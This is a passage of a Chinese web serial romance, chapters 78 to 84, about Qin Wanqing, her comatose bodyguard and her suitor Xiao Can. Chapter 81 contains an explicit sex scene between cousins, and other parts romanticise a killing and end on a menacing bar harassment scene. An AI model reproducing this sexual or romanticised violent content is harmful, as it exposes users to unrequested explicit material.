热门搜索


[都市]欲罢还休(全本)-10

  
七十八章

她终于好了,还是两位少爷最了解她,当大少爷派人把我叫回来的时候,我真是很高兴,脸上既然有了明显的笑意,队里的人见了鬼般的看着我的笑容,我不介意,又能回到她的身边了,我又有什么好介意的呢,是她把我要回去的,我知道,第一次知道开心的感觉,那么好,那么好,呵。

再见到她的时候,仿佛过了几个世纪那么久,她虽然憔悴许多,但眼睛里终于有了神采,她不知道自己有一双会说话的眼晴,那么美,那么美......

她被二少爷抱下了楼,她看到了我,她笑了。虽然只是微微的一笑,与我却是上天最美的礼物。

后来姓了好多事,似乎老天很嫉妒她的甜美的笑容,硬是要将这个笑容撕碎,不知道从什么时候起她不再笑了,眼里充满了落寞困惑和悲伤,我恨那个叫做霍辰的男人,自从他出现后,厄运接踵而来。

我又做了对不起她的一,她和大少爷上街后要大少爷先回去,自己说是要去找萧灿少爷,大少爷临走时看了我一眼,我明白他的意思,萧少爷是和大少爷二少爷一起长大的,是萧家的独子,而萧家恐怕是唯一能与龙家对抗的家族了,龙家主掌军事,萧家称霸政坛,近三分之二的政协委员都是与萧家有着或多或少的联系,两家是世交,但也暗中较劲。

萧少爷看小姐的眼神和大少爷二少爷是一样的,不过小姐她却没有觉察,每次见面都是吵个不亦乐乎。在她的眼里,只有家里的那两个人,其他的人恐怕过眼就忘,她很聪明,但有时也很迟钝的。

小姐她没有去找萧少爷,只是让我去送那只买个他的鹦鹉,分明是要将我支开,我不放心还是派人跟着。当我知道她去了那么复杂的地方时没有一丝犹豫直接向大爷汇报了。

我杀了对她来说很重要的一个人,还是个手无寸铁的女人,当看到她听到新闻时死死盯着电视的眼神,我就知道,我错了,我又伤害了她。看来我真是个不尽责的护卫。

我发誓,绝不再做背叛她的事,绝不让她再受伤害,哪怕我死!

我知道她不对劲,她似乎在筹划着什么,我没有把她的反常报告给大少爷,反而处处零星她掩饰,我不知道自己这样做到底对不对,但是我实在不愿意再做违背她的事。现在想想如果我那个时候早早告诉少爷,会不会就没有后来发生的那么多事呢,谁知道呢,命运啊不可猜不可违。

霍辰死了,我是很痛快的,他对她造成了那么大伤害万死不惜,但是我很佩服他,他那样的一个男人宁愿选择死亡也要在心爱的人心里留下一个永不磨灭的印记,他疯狂,他激烈,他用生命换取了她永生的铭记。或许有一天,我也可以.....

如果也能让他她心里留下一个属于我的位置,那么我也愿意那样做。

我随她离开了龙家,从此以后,我就只属于她,她的命令就是我的指路灯。她苦,我陪着她;她寂寞,我陪着她;她想念,我陪着她。

或许有人觉得我活的很累,你们不是我,怎知我的心情。我从来没有过奢望,每天看到那抹娇美的身影,每天做她的影子就是我最快乐的事,我不累。

她深思时,我看着她,她站在阳台上吹风时,我为她披上肯衣;她躺在池睡着时,我......退下了忍耐,轻轻地捧起她美丽的纤足,哆哆嗦嗦地嘴唇在白皙如玉的足上轻轻一吻......跳跃似鹿。

我离不开她的,我不知道从何时起因为何时,心里就有了憧憬。我只知道,当她歪着头灿烂地笑时,我就愿用自己的一切守护这份笑容。

我去了,去换那批对她很重要的军火,其实当她拒绝马克时我的心里如蜜般甜蜜。终于可以为她做些事了,而不是永远只会站在她背后。

我的受伤让她很生气,她居然会为我上药,她的手指很柔软,小小的手指揉抹在身上的感觉是那么......那么的心神荡漾。她从前伸手环住我绕到后面为我包扎好绷带,她第一次靠我那么近,近到我能很清晰地闻到她身上幽幽香味,连呼吸都是那么动人。

她问我:“你......有没有受到侵犯?”

她的脸红了,我的脸也红了,呵,她误会了,连误会也是这般可爱,她,是关心我的,我知道。那时我就明白了,我不需要象霍辰那样用命来换得纪念,十五年的守候以为我争得一片天空,哪怕只有方寸,此生足矣!

我带着她的那么项链离开了她,其实不用秦先生特意叮嘱,我已经决定要去了,只是她所希望的我就去做。但我暗暗发誓,我一定会回来,回到她的身边!

一切居然是场阴谋,居然是那个人安排的,小姐她怎么办,她是那么信任这个人,她会有危险。

我不能死!当我感觉到自己背后中枪的时候,我感觉到自己的头被撞得昏乱的时候,我告诉自己,我不能死,我一定不能死,我一定要醒过来,我要告诉她真相,我还要陪着她走下去,走下去......

纵使还是一个影子,也心满意思足。

七十九章

阳光透过明亮的玻璃倾洒在病房里,驱散一地阴霾,洒下四处光辉。连躺在病床上的男人身上也被温暖包围,散发着淡淡的如松香般的阳光的味道。

秦晚晴在水盆里重新浸了浸毛巾,拧干,涓涓的水流渐渐收缩成点点水滴,泛着银亮的光。她已经不知道是第几次替他擦汗了,忠义最近身上经常出汉,很容易就湿透了被褥,得经常为他擦干身子,医生说这是好情况,说明他的皮下组织依然正常运转。虽然请了最好的护理,不过有空时她还是会自己亲自来照料他。毕竟能为他做的也只有这些了。

仔细抹干了上身,肌肉依然健硕强壮,丝毫萎缩,连阳光都万分羡慕地亲吻那强健的胸膛,微细的汗毛在阳光中轻轻地荡,完美的身材却有着不完美的伤痕,刀伤处处可见,最醒目的却是胸前一处圆圆的弹痕,结了壳,发黑,伤口位置暗示了凶险。

“你什么时候才能醒过来啊?!”

秦晚晴整理好他的衣服,拿起毛巾,翻开那粗大的手掌,为他擦拭手心的汗。

“你知道吗,最近炎奇盟的情况很不好,泰越的局势现在又开始汹涌起来。警察、安全局三天两头来找麻烦,扣我们的货,连正当的生意他们也不放过。”

一只手仔细地擦了干净,轻轻放进被子里盖好,秦晚晴又转到另一边来擦另一只手,背向窗户,留下一处阴郁。

龙华松开始动手了,因为我毁了他近一半的黑道势力,忠义你知道吗?咱们军界最体面最得势的龙家居然拥有那么大的黑帮势力,真是军匪一家啊。我接受了泰越,就意味着龙家在泰越这个最大的黑金产地面临损失,这自然是龙华松不会乐意见到的,以前还有哥哥......

“忠义,我很久都没见到他们了,那天以后他们打了几个电话来,我没有接,我实在不知道该以怎样的心情去面对他们,可是后来电话越来越少,近一个月了在没有一点消息。应该是厌倦了吧......或许真的是厌倦了......”

叹一口气,把擦干的手放进去,轻轻掖了掖被子。把毛巾重新浸回到盆里,投入水中的霎那,珠儿溅起,撩起清凉。

“我不知道到底要怎么面对他们,我真的很气,气他们,更气自己。我很不甘心,我不甘心放弃全家惨死的仇恨,我不甘心放弃原来握在手中的幸福,我不甘心看着你像个活死人般了无生趣地躺着却无能为力,我不甘心任由那个仇人逍遥自在,我甘心辛辛苦苦建立的一切面临崩塌。忠义,醒过来吧,我......习惯了......”

咯吱,房门被轻轻推开,一个白衣翩跹的男人款款走进,有着暖人的微笑和比女子还要优雅的风姿没有脂粉味,反而有种书卷气,出世为仙,入世为云。白衣潇洒挥舞,绣着淡蓝浮云图样,悬着绿丝绦,宛若古代秀士却又有着现代的神采。

“他好点了吗?我找了几个中医学的专家,让他们给看看,说不定会有些帮助。”

“谢谢你了,费心了。”

秦晚晴冲着来人微微笑笑,这些天还真是多亏了萧灿,是他帮忙联系了最好的医院和最好的医生,忠义才得到了有效的治疗,连护理人员都是他帮忙找的。这些日子,自己科是内忧外患,根本没办法全心全意来照顾忠义,全都是萧灿处处照顾处处打理的,说不感激那是不可能的。

身边的人或死或走或半死不活,或相见不如不见,唯一学在身边的竟然只有萧灿了。怀念,是杯毒洒,越喝越甜,越甜越苦。

“累了吧,歇一歇,我给你买了些吃的。”

萧灿微笑着自然地坐到秦晚晴身边,取出食盒,有菜有饭有汤有甜品,连饼干炸鸡腿和冰淇淋都有。秦晚晴摇摇头,突然有种很想笑的感觉。

“你这是喂猪呢?”

“我是在孝敬我的公主。”

“够了啊你,什么乱七八糟的公主,胡扯。”

秦晚晴踢了萧灿一腿,两眼带白地看着他。不同于对大哥二哥的温顺和娇蛮,不同于对忠义的依赖却疏远,不同于对霍辰的心动却愤恨,她和萧没的相处方式似乎永远都是随意率性,不用修饰,或打闹或争辩或讽骂,一切随性。

萧没揉了揉脚,这个丫头还真不客气,用高跟鞋来踹他,有点疼心情却很好,有点淡淡的温暖的感觉,看了自己真是被虐上了瘾。不过这样也好......证明,她会在自己面前释放下来,不再用冷淡筑起一道无法逾越的沟渠。

萧灿深深地望着女孩的眼睛,眼深如海。

“因为你在我的心里永远是高贵的公主。”

萧灿的眼睛很好看,不同于龙渊的深邃和龙澈的清朗,潇灿的眼睛是清朗中带着深隽,带着极致的引力将人的眼神牢牢吸住。秦晚晴一愣,随即又踹了他一脚。

“深沉什么啊!”

唉,还真是半点也不温柔啊。萧灿偷偷憋了憋嘴,突然想到了什么又咧着嘴开心地笑了。

“这算不算打是轻骂是爱呢?”

“嗯?你说什么?”

“啊?没......没什么。我说我的晴晴公主是世界上最可爱的女孩,我要一辈子把她捧在手心里,爱护她。为她做美丽的衣服,让她美丽如蝶,把她喂得白白胖胖的,让她前凸后翘,性感撩人......”

纤脚飞起,一脚踹飞。

八十章

萧灿看着眼前安静吃东西的女孩,阳光下的女孩脸色略显苍白和疲倦,有着甜美却倦懒的诱惑小巧却高翘的鼻子,大而明亮的眼眸,介于少女的青涩与成熟之间的混合的风味,是美丽的,动人的,心疼的......危险的......

“怎么了,皱着眉头,是不是有什么不顺心的事?是为了炎奇盟吗?”

秦晚晴放下手中的汤勺,汤的味道不错,想起大哥煮的味道......唉,还想他做什么,没有多少意义了。

“嗯,最近不太顺。”

“晴晴......”秦晚晴抬起头,萧灿正色地看着她,眼里闪动着光彩,让温和的脸也激动起来,“晴晴,让我帮你好不好,请你让我帮你!”

秦晚晴一时没反应过来,怔怔地看着那个正色却激动的人。

萧灿握着她的手,秦晚晴下意识地往回缩却被萧灿紧紧握住没有抽动。

“晴晴,我只是想为你做些事情,仅此而以,一直以来我只能看着,做一个旁观者,看着你伤心,看着你难过,看着你挣扎,却无能为力,像个没用的懦夫,只能看着你沉颠再漩涡里,连拉你一把的资格都没有。我恨透了自己的无力!但是现在可以了,真的,我终于有能力帮你了,不再作个看客,真真正正地帮到你,和你走在一起。”

秦晚晴看着他,似乎觉得眼前的人竟有一丝陌生,印象中的萧灿一直是风度翩翩,永远温和可亲-------像那个人一样---------永远不会将激动写在脸上,今天的萧灿让她有点陌生。

“萧灿,你......回家了?”秦晚晴试探地问。

萧灿,萧家这一代的独子,也是让整个家族为之头疼无奈的人物,从小就有过人天赋,让萧家所有人寄托了浓浓的希望,也是萧家人心里内定的能拉掌家庭势力的人,甚至暗地里还有些期望,希望将来能与龙家一较高下。军界龙,政界萧,这是众人皆知的事,但孰高孰低,没有定论。

萧灿是萧家的希望,但是他也是萧家的悲哀。因为他叛逆,极度的叛逆。萧灿的叛逆不同于那些纨绔子弟的无所事事,而是太有作为了。

他喜欢做衣服,萧家的人不去从政却喜欢做衣服,这简直让萧家的家长们头大不已,最糟糕的是他做衣服做得还很成功,连国绣坊都请他担任首席设计师,并且仅用了两年时间就接管了那里。

于是萧家的人慌了,他们不允许希望就这样的自己破灭,他们用了各种手段,当然也有不光明的办法,可是萧灿却依旧我行我素,任你再激烈再愤怒,他微笑着,风度依旧。

直到有一天听说他加入了“守卫者”,萧家人才稍微放心,虽然那不是正经的职业,虽然龙家的那个小女孩也在其中,但是总归也算是隶属于国家安全局,萧家的人妥协了,萧灿依然风轻云淡地做他的衣服。

“说话啊,你是不是和家里人妥协了什么?”秦晚晴敏锐地问,她了解萧灿,这个人是真的热爱做一个服装设计师,只是出生让他不能随心所欲。

“那有什么妥协的,他们总归是我的家人,父母年纪大了让儿子回家帮忙也是应该的,这么大的一个家总是要人来接受的,难道真要去找个外人来啊?我只是做累了游子,回家罢了,没什么分别的,你别想太多了。”

“真的?”

秦晚晴睁着大眼睛,歪着脑袋若有所思,萧灿笑了,正要说话,兜里的手机却响了......

“电话来......电话来......”

好奇怪的电话铃声啊,秦晚晴皱起了眉头,这个声音好像在哪里听过......啊?!

那不是......

秦晚晴一脸不可思议地看着萧灿,萧灿居然被她看得有些脸红,拿起电话转身背过去听,留下身后的秦晚晴乱没形象地狂笑。

“呵呵呵呵......”

也真的就是这个人能做出这样的搞笑的事,居然用鹦鹉的叫声作手机铃,呵呵呵......

“好了,我知道了。”

萧灿挂了电话,看起来似乎很高兴。

“走吧。”萧灿抓了秦晚晴的胳膊就向外面走。

“去哪儿啊?”

“那个中医专家到了,带你去看看。”

....................................

推开门,一个面色慈祥的老医生围坐着,带着眼睛仔仔细细地看着病历表和旁边的人热烈地讨论着什么,一个清丽的女医生倒是如万绿丛中的那抹红润,很惹眼。

秦晚晴看着她,这个女医生真的很漂亮,白皙的皮肤高挑的身材,有着文雅的气质,象是江南水乡的女子,有着水墨画的味道。只是那眼睛太过精亮,却有自信的神态。

萧灿拉着她进来,那个女医生转过来微笑。

“你好,你是秦小姐吧,我可是经常听说过你的名字,果然很美丽,很高兴见到你。”

女医生落落大方地伸出手,亲密地拉住秦晚晴的胳膊,秦晚晴顿了顿,嘴角有些缰,她不喜欢被陌生人碰触。

萧灿不动声色地插入两人中间,拨开了女医生的手。

“晴晴,我来介绍一下,这是我堂妹萧玲玲,这位是吴医生,吴医生是中医学的专家,对神经学也很有研究。”

秦晚晴点点头,只是盯着吴医生看,他面前的那份病历好像正是萧灿的。对于萧玲玲,她没多少兴趣,是美但她又不是男人。

“晴晴你跟吴医生先聊聊吧,我在外面等你,晚上接你去吃饭。”

萧灿知道秦晚晴的心思体贴地说,秦晚晴感激地朝他笑笑,萧玲玲跟着萧灿出去了,脸色有些古怪。

八十一章

萧玲玲靠在门上,头稍稍后仰,臀部贤贴着门,腰却向前倾,一腿站立,一脚后抵在门上,从脖到腿构成一道美妙的S型孤线。江南女子般清雅的容貌配合着魔鬼般的身材,这种女人是一种混合的毒,却让人甘之如饴。

萧灿坐在船边的木椅上,好整以暇地撩拨着窗台上摆放的一盆含水量羞草的叶子,轻点,叶子收缩,待放开时又伸手碰触,乐此不疲。

“那个破草还能比我好看吗?”

娇嗲欲嗔,声音轻柔却魅惑。萧玲玲望着那个永远是一袭白衣风采摄人的男人,这个男人也是一种霉,来得猛烈入骨。

伸手解开上衣的扣子,从上而下,一颗、二颗.......露出修长的脖颈,接着往下......饱满的双峰展露初装。如雪似脂。纤手褪下上衣,滑露出香肩,抹下两寸胸衣,白乳半现,如含羞带臊的美人,犹抱琵琶半遮面,虽不显现却更让人有一窥究竟的欲望。

欲望是一切祸乱的根源。

萧玲玲真的很美,而且懂得运用这种美。圣洁的白衣大褂下半裸含羞,面如春水,秀雅中点缀无声的邀请。

“灿,你不看看我吗?”幽幽含怨,轻叹如丝。

萧灿还是坐在那里,回过头来看着门边那个撩人摄魄的女人,含着笑温和无伤,却有种居然千里之外的另类的温柔。

萧玲玲不满意这种状况,她不容许忽视。对于一个女人来说,尤其是一个骄傲的女人,男人的忽视是最大的侮辱,她想要的东西决不会放手。

扭动着纤姿,婀娜走近,半跑在萧灿腿边,只要他稍稍一低头便能看到那诱人的乳沟。萧玲玲伸手抚摸着那人如月的面庞,掠过结实的胸膛,很直接地盖在下面那最诱惑的部位上,温温软软的,似海绵,却可以瞬间充实有力.......

“别闹了。”

萧灿佛开萧玲玲作乱的手,冷冷淡淡。

“怎么,终于要把新欢弄到手了,就不理我这个旧爱了?”

“她可不是什么新欢,你也不是旧爱,你是我的堂妹。”

“堂妹?”萧玲玲笑笑,欺身上前斜靠在萧灿身上,腿伸进萧灿的腿间在那根部有意无意地摩擦。

“真的只是堂妹?”你跟我在床上激情似火的时候可没想过我是你堂妹吧?

女人优雅秀丽却说出露骨诱人的言语。

“似乎是你主动的吧。”萧灿轻轻一笑,眼里含着些许讥讽。

“当然,是我勾引你的,不然你怎么会如我所愿躺在我的床上?灿,我知道你爱的人不是我,我会帮你完成心愿的。但是你多少也得怜惜一下我嘛,毕竟我是你的第一个女人也是到现在唯一的女人啊。你看,这里因为你早就......”

萧玲玲握住萧灿的手腕,将他的手探入裙内,那里一片泛滥,隔着薄薄的内裤布料,已湿了。主动揭开布料,将他的手放入花下,春水如潮,不倦滴落。将萧灿纤长的手指塞入自己的洞里,禁不住销魂地浅吟一声,看那手指不动就等不及直接握住他的手腕,自己向内抽动起来。明亮的医生诊室里一片春色。

“你还真够贱的。”无情的话出自多情的口。

萧玲玲抬头仰望那个微笑却冷淡的男人:“你不是说我长的像她吗?”

萧灿空闲的那只手拂过怀里美人的柳叶弯眉,当初之所以愿意被她魅惑,也是因为这张脸清丽的时候是与那人有几分相像。

“她可没你贱。”

萧灿三根手指并起直接刺入温润的洞穴,虽然滑显却也让萧玲玲感到一阵刺痛,痛苦中带着极度的欢愉。抬腰迎接,想要承欢更多......

“嗯......快点......再快点吧......”

“灿,插狠些......”

“啊......”

淫乱的声音从那红艳的唇中传来,萧玲玲眯着双眼承受着欢愉。萧灿却望着台上的那盆含羞草,不知为何,却笑。那株草倒是很像那个丫头,看起来温温的,一碰就缩了起来,待到确定不会受伤害时又舒展开身躯,直到下一次的受惊再缩回。就像头小鹿,永远警惕着,自我保护,那种怯怯探究,紧张保护自己的眼神总是能让人心疼不已。

怀里的女人已动情,一次次奋力抬起腰肢迎接他的手指的抽插,清秀的脸已泛出红润,若是她......若是那个人躲在自己的怀里......那该有多好啊。

不过,不急,不能急的,反正......也快了。

萧灿笑了,笑的优雅动人。萧玲玲心神一荡,她最是抵抗不了这样的笑容。

手指的动作越来越快,女人的呼吸也越来越急促。

“啊!”

一阵满意的娇吟,内壁同时绞缩,喷出情水,涌落在地上,白大褂下的风景,淫靡一片。

“好舒服啊!”萧玲玲伸出了伸懒腰,躺在萧灿怀中不肯起来,双手向后环住了他的脖子,又接着往下。

“灿,好舒服呢,现在也让我让你舒服吧。”

红唇未启,两眼迷离,脸上的红潮未褪。萧玲玲跪在萧灿腿间,双手隔着裤子握住内侧微鼓的地方,低下手.....

“行了,她们大概聊的差不多了,我要走了。”

萧灿推开她,起身走到门边竖着的盆架上,就着盆里的水仔细洗了洗手。萧玲玲一脸懊恼地看着那人的背影。

“急什么啊,就那么等不及要离开我?”

萧灿头也不回,擦了手,开门出去。

“我们的关系一早就对你说过了,别对我奢求什么,你也应该去做事了。”

开门,关门,关起的是门,闭上的是心。

八十二章

“怎么了,吃的那么少,是不是不合胃口?要不再换几样菜吧?”

萧灿看着秦晚晴,她在那里摆弄着叉子反反复复地戳着面前的牛排,已经被她戳的稀烂了。

“不用了,我不饿。”

“吃得太小,又瘦了很多,脸色也不好,再不吃东西补一下就真的成了面黄肌瘦的萝卜干了。”萧灿指着墙上的一盘脆皮萝卜菜图对秦晚晴说。

“无聊!”秦晚晴的瞪了他一眼,洒了些胡椒粉在那盘稀牛排上,呛呛的粉末弥散开,一片浓郁的胡椒香味扑鼻而来,惹得人想打一场痛快的喷嚏。

“晴晴,有什么心事不能跟我说说吗?我还以为我们之间是可以无语不变的呢。”

秦晚晴撒胡椒的手顿了一下,放下了胡椒瓶,眼神有一丝的落寞。

“是不是吴医生跟你说什么?”萧灿试探地问。

“嗯!他说忠义的情况并不是很可乐,长期这样昏迷,缘使每天输营养液,身体由于不能运动,血液循环不畅通,各项机能都会下降的。长期这样......总之不太好。”秦晚晴看一眼那个稀烂且爬满胡椒的盘子,一脸厌恶地把它推到一旁。

“没事的,吴医是老专家了,为人谨慎,他那样说只是先给你打个预防针,让你有个心理准备罢了,不代表他治不好。别担心,慢慢来,急不得的,他一定会没事的。”

萧灿接过来那盘惨遭摧残的牛排,把自己这盘还没动过的换到秦晚晴那边。

“吃点吧,不吃饱了怎么有力气去照顾别人,自己就先垮了。这里的牛排很出名的,尝尝看吧。要不要再喝点汤,还是来一盘虾?吃点三文治好不好?”

唉,秦晚晴在心里叹了一口气,任命地举起刀叉切着那盘牛排送入嘴中,这个人啊,罗嗦的功夫又上来了,他很明白用这种方法对付她有有效。以前,也会有人哄她吃饭,一个用的是貌似严历的眼神,一个用的是温柔的轻哄,不过......再也回不到那个时候了,回不去了......

萧灿满意地看着秦晚晴埋头吃着牛排,准备叫杯咖啡,秦晚晴抬头看了他一眼,又瞅那盘被自己蹂躏过的东西,很认真地说:“这盘牛排怎么办呢,不能浪费的。我吃了你的这盘牛排,那这盘......”

萧灿的笑容有点僵,不太自然地和秦晚晴对视着,也瞅了瞅那个黑乎乎稀烂烂的东西,在秦晚晴坚定的鼓历的眼神下,也任命地举起了刀叉,她也很明白用什么样的方法对付最有效。

呵呵,秦晚晴看着萧灿吃着那盘自己的杰作,心情没来由的大好,她在考虑要不要再来份甜点呢。

“澈,坐这边好不好?”

清雅的女声从身后传来,带着愉快的调子,这声音似乎在哪里听过,秦晚晴托着脑袋仔细地回想,等等,刚才她好像说了一个名字......

“好吧,你决定。”

温柔的声音响起,从身后悠悠传来,轻柔低沉的嗓音却让秦晚晴从背后僵冷到脚底,这个声音,她不会忘的,永远也不会忘的,这个唤了她近二十年的声音,这个爱过她、哄过她、骗过她的声音,至死也是不会忘的!

是他,一定是他,他来了。

他的声音还是那么温和轻柔,像是梵婀玲上秦响的小夜曲,飘渺间似沉似醉,眼泪不争气地刷刷落下,一滴滴落在盘中,啪嗒渐开。转首过去,那个熟悉的身影立刻现在眼前,还是那么完美那么温柔,似乎没有丝毫的改变,只是亲密挽着他的人已经不是自己了。

萧灿也感觉到了不对劲,抬头,视线却落在秦晚晴的身后,那人也正好一眼扫来,看到了这边的两个人,一愣,无语。

空气凝在半空,时间似乎也静止。

纵使你与我近在咫尽,纵使您与我四目相交,却为何那么遥远,那么陌生,只因你的眼中已有了我看不懂的颜色。

“呀,是灿哥哥和秦小姐,呵呵,他们总是整天待在一起。澈,我们过去和他们打个招呼吧。”女子挽着龙澈,轻快地走来,面容清丽秀雅,却又有着神采飞扬的自信,正是萧玲玲。

“灿哥哥,秦小姐,好巧啊,在这里看到你们。”萧玲玲高兴地和他们打着招呼。龙澈盯着秦晚晴,眼神很复杂,有许多说不清道不明的东西混合在一起,秦晚晴第一次发现自己竟然看不懂他了,这个在一起生活了近二十年的男人,这个和自己那么亲密的男人,居然看不懂他了。

许久,龙澈才从沉静中恢复以往的温柔笑容,用柔柔的,很轻很轻的调子对秦晚晴说:“晴晴,你还好吗?”

胸口一紧,鼻子一酸,眼中的液体却被硬生生忍住缩了回去。不行,决不能在他面前掉眼泪,忍住。

秦晚晴调整好心情,点点头,冲着萧玲玲礼貌地一笑,又把眼神放回了那人脸上,仿佛天地间只有彼此,再也看不到别人。

“灿哥哥秦小姐,不如我们一起吧。”萧玲玲做了个请入座的手势。萧灿看了一眼秦晚晴,摇了摇头。

“不了,晴晴她累了,我还是送她回去让她早点休息吧。”

萧玲玲掩着嘴,轻轻一笑:“灿哥哥可真是体贴啊,那我们就不打扰你们了。”

“回去休息吧,太累了......记得回家。”

“嗯。”

秦晚晴点点头,飞也似的逃离了那里,留下一颗牵挂的心。

想起了你的脸眷眷缠绵,想起了你的眼柔情似水。对你的思念啊,怎能用只字片语写得清,怎么用千言万语说的清。

只是,思念如山,我们已阻隔两端。

八十三章

如果说想念是座山,我就是那山脚的一株小树,永远也攀不过巍峨的山峰。如果说想念是片海,我就是那海边轻舞的蝶,永远也飞不到海的那头。

我的哥哥,是的,我想你们。但是,我们之间那个被欺骗和背叛铸成的冰山,我实在无力打破啊。

“咚咚咚!”

礼貌的敲门声惊醒了秦晚晴的深思,她现在在忠义的病房里,本来是在给他擦汗的,谁知道擦着擦着就走神了。秦晚晴自嘲地笑笑,起身过去开门。

是护理小姐,每天的例行检查,这个护理小姐真是没话说,很尽心负责,让她省心不少,这还得感谢萧灿,人是他帮忙找的。自从忠义出事之后,秦晚晴就把他移到了燕城的医院,因为这里是最好的医院。不可避免的她也只好从泰越搬了回来,往在当年她父母留下的房子里。

当叔叔秦炎把房子的钥匙交到她手中时,她分明看到这个满头白发的老人有些许激动。

“晴晴啊,去吧,回到那里去吧,那里是你父母的家,也是你的家。要是你妈妈知道她心爱的女儿回家了,一定很高兴,很高兴。”

秦晚晴心里有些堵塞,他只说了妈妈会高兴,却没提到爸爸,难道,爸爸不会高兴看她回去吗......

“秦小姐早,您这么早就来啦。”

护理林小姐大约二十七八岁,正是做护理的最佳年龄。人长的很干净,清清爽爽的,梳着一条马尾辫,做事干脆利索,人也很细心。

“忠义先生今天的气色不错,血压心跳也很稳定,秦小姐不用担心,先生一定会好起来的。”林小姐麻利地做好检查工作,又把房里的瓶瓶罐罐整理了一遍,倒了盆水试好了温度,替忠义擦起身来。

“谢谢你,让你费心了。多亏了你的帮助,让我轻松不少。”

秦晚晴挺喜欢这个爽朗秀气的女人,像个邻家大姐姐,给人以温暖和舒心而不是像她已往见的那些高傲养病凡压迫感十足的大家闺秀。

“哪里,您太客气了。”林小姐大方的笑脸上有一点不好意思,“秦小姐你还有什么吩咐吗?”

“没有了,你去忙吧。”奏晚晴摇摇头。

林小姐把毛巾晾好,又整理了一下被褥,将一切收拾妥当。

“那我就先出去了,待会再来给先生调营养液,噢,对了这是您要的今天的报纸。”

秦晚晴有看报纸的习惯,林小姐知道以后每天来都会给她带来当天的报纸,我还给您带了杯豆奶,还是热的呢,味道不错,您尝尝吧。

“谢谢你啊。”

秦晚晴微笑地点点头,送林小姐出去。

有时候一个高贵优雅的女人会带给人们惊艳的感觉,可那种感觉只限于在光华耀眼的宴会厅,但有时高贵优雅却反而输给平凡温暖,因为人们不是每天都会参加宴会,但是人们每天都要生活。

高贵优雅的女子是用来欣赏的,平凡温暖的女人才是可以生活的。

秦晚晴突然觉得自己很羡慕林小姐,她平凡简单所以幸福,她温暖爽朗所以能给人幸福。

悲哀的是,自己既不能给别人幸福,也得不到幸福,我的幸福——溜了。

喝口豆奶,习惯地打开报纸。触目惊心的头版头条荒入眼帘,刺得人心痛!

心痛,好痛啊,那照片上的人为何那么熟悉却又那么陌生,那张脸曾经微笑地对自己开放,那双眼曾经深情地对自己凝望。然而,为何记忆如此陌生,竟找不到一丝的感觉。

汹涌而出的泪水,怎样才能控制,那就奔跑吧,跑吧!让风吹干我的眼泪,吹冷我的心吧。

秦晚晴夺门而出,发疯似地跑着,连电梯也不坐,直接从楼梯冲了下去,手里紧紧地攥着那张报纸,似乎那是她最后的拥有。

楼梯怎么那么长,长的似乎没有尽头,不停地跑,不停地跑,不能停歇,停下来眼泪就会出来,秦晚晴咬着牙,厚厚的鞋跟锉锵有力,达达的脚步声回荡在寂寥的楼道间,育响着悲伤的鸣凑。

达达的脚步是个美丽的错误,原来我只是个过客。

“哎哟!”

撞上了一个人,女人发出一声叫喊。秦晚晴抬头一看,是她?

是她!

“秦小姐,你怎么啦?”除了什么事了?你脸色不太好啊。

萧玲玲揉着被撞疼的肩膀,诧异地看着面前苍白的女孩,奔跑并没有为她增添半点血色,眼睛里没有慌乱只是空洞和绝望。

搞什么啊,被撞得还挺疼得。萧玲玲使劲揉了揉肩膀,手上闪亮的戒指耀眼夺目。

秦晚晴突然睁大了眼晴,眼里充满了惊诧和难以置信。

她使劲地闭上眼睛,摇了摇头,紧咬着嘴唇,强迫自己不去看,不去想,绕开萧玲玲,又朝医院门口奔去。

萧玲玲看着那个渐远渐去的背影,喃喃自语。

“原来如此,怪不得那么多人为你痴狂。秦晚晴你可知道,你有一种绝望挣扎的美丽,最是让男人心醉。”

萧玲玲捡起脚边落下的报纸,好像是她刚才拿着的。

“呵呵呵,怪海里,看来人你已经知道了。我的灿哥哥啊,你到底是要庆幸还是要心疼呢?很有趣呢......”

美丽的手指将报纸折叠,随手扔进旁边的垃圾桶内,无声落幕。

.............................

“国家军委副主席惊现涉黑传闻,燕城龙家两子同时订婚辟谣。”

——《燕城日报》

八十四章

颓废的音乐震天彻响,轰炸的人的耳朵几乎失聪,但是每个人似乎却乐在其中,晃动着脑袋摇摆着身躯享受着疯狂的滋味。

这里是酒吧。

这里有昏暗的色调,喧闹的人群,还有酒。

每个人来酒吧都不会是想来品味高雅,他们是来放松的,再说明白一点就是来放纵的,人们都需要有一个释放的空间,将白天人前正襟危坐的自己释放出来,将心底最隐私最灰暗的魔释放同来。

我狂热地舞着,妖娆的身姿,凌乱的舞步,迷乱你的眼。张扬的黑发,鲜红的樱唇,诱引你的心。

秦晚晴喝了一杯接着一杯,她今天走了一天,从上午走到下午,从下午走到晚上,没有目的没有方向,似乎只有走动才能证明自己的心依然跳动。

她不知道是什么时候,是怎么走到这里来的。只知道这里的酒能让她安定,这里的喧闹能占据她的感官,让她麻痹。

醒目的标题,照片上刺眼的戒指,那熟悉陌生的笑......

喝吧,喝醉了就会忘记,永远忘记!

管它是酒还是泪,流下了就要通通吞回肚里,酸甜苦辣我自知。

“美女,一个人啊。”

两个嘻皮笑脸的男人吹了声口哨,自顾自地在秦晚晴对面坐下来,一个染着烫金头发,一个干脆是五颜六色的鸡尾头,流气满身,很明显地告诉了别人他们是个混混。

以貌取人,这句话其实未必没有道理的。

“一个人喝酒有什么意思,让我们来陪你吧。”金毛把椅子拉到秦晚晴身边,左手搭在她的椅子靠背上,上身斜靠在她椅子边,是一种半环绕的很暖昧的造型。

彩鸡头男人倒是还坐在对面,只是倾在几案上,摸出了香烟,吸了一口,吐出廖廖的烟雾冲着秦晚晴飘来。

“走开。”

秦晚晴又灌了一杯酒,说话有点含糊了,不过神志倒还是很清楚,怪不得人说,借洒消愁愁更愁,能喝醉其实也是一种幸福。

“小妹妹心情不太好,让哥哥陪陪你吧,保证让你兴奋得不得了!”金毛向秦晚晴靠近,大手抚在秦晚晴的手上。

“啪!”秦晚晴手一挥,打掉了肆虐过来的手。

“滚!”

“呵呵,小妞儿还挺历害的。”金毛向彩鸡头使了个眼色,两人左右夹着秦晚晴,秦晚晴皱了皱眉头,放下酒杯,撑着几案起来向门外走去,金毛抢先一步拦住了她的去路,彩鸡头则挡在她的后面,俩人一前一后把她包围住了。

酒后的秦晚晴脸颊红润异常,如欢爱过后的红潮余韵有着诱人的风情,双眼迷离欲醉,闪着水光,朦胧着蕴含了无措哀怨的味道。金毛心神一荡,下腹也紧了起来。

妈的,这妞儿简直就是个妖孽。天使也魔鬼的结合才是最动人的。

